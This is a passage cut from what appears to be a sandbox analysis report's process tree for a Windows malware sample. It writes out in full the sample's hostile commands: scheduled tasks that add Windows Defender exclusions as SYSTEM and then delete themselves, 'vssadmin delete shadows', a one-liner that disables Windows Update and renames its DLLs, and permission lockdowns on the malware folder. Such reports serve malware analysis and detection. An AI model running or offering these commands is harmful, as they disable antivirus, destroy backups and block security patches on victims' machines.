    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1548
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3028
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1092
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1212
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5604
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5700
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5592
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5620
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1040
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2200
- C:\Program Files (x86)\pUyz2x\pUyz2x.exe
  "C:\Program Files (x86)\pUyz2x\pUyz2x.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4128
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1572
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4776
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4568
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2508
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\pUyz2x\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5772
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\pUyz2x\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1372
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3908
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4528
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4588
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5732
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:5616
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:512
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:6132
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5604
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:4884
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1368
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4716
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:2596
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:2364
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:608
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5236
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:2508
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6020
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3492
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4568
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4688
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3824
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5860
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6012
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1492
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4076
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3780
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2472
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4988
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:464
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4516
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1988
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2404
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:452
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4180
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1208
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5024
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1528
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3912
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4044
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x\pUyz2x.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:668
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x\pUyz2x.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:540
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2312
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3376
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2700
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x\pUyz2x.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:764
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x\pUyz2x.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5624
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x\pUyz2x.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5484
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x\pUyz2x.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2820
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1560
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3776
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4100
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:692
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5924
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2672
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5944
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5252
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2516
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3940
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2128
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:944
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:1736
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1204
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1140
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5868
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2156
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2808
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1516
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1300
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3968
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1000
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1084
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6040
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\pUyz2x\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4344
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\pUyz2x\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1680

C:\Users\Public\CHBgYd\zxkffA.exe
"C:\Users\Public\CHBgYd\zxkffA.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5744

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CHBgYd" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3668
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CHBgYd" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5764

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3520

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1028

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5664
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5252

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
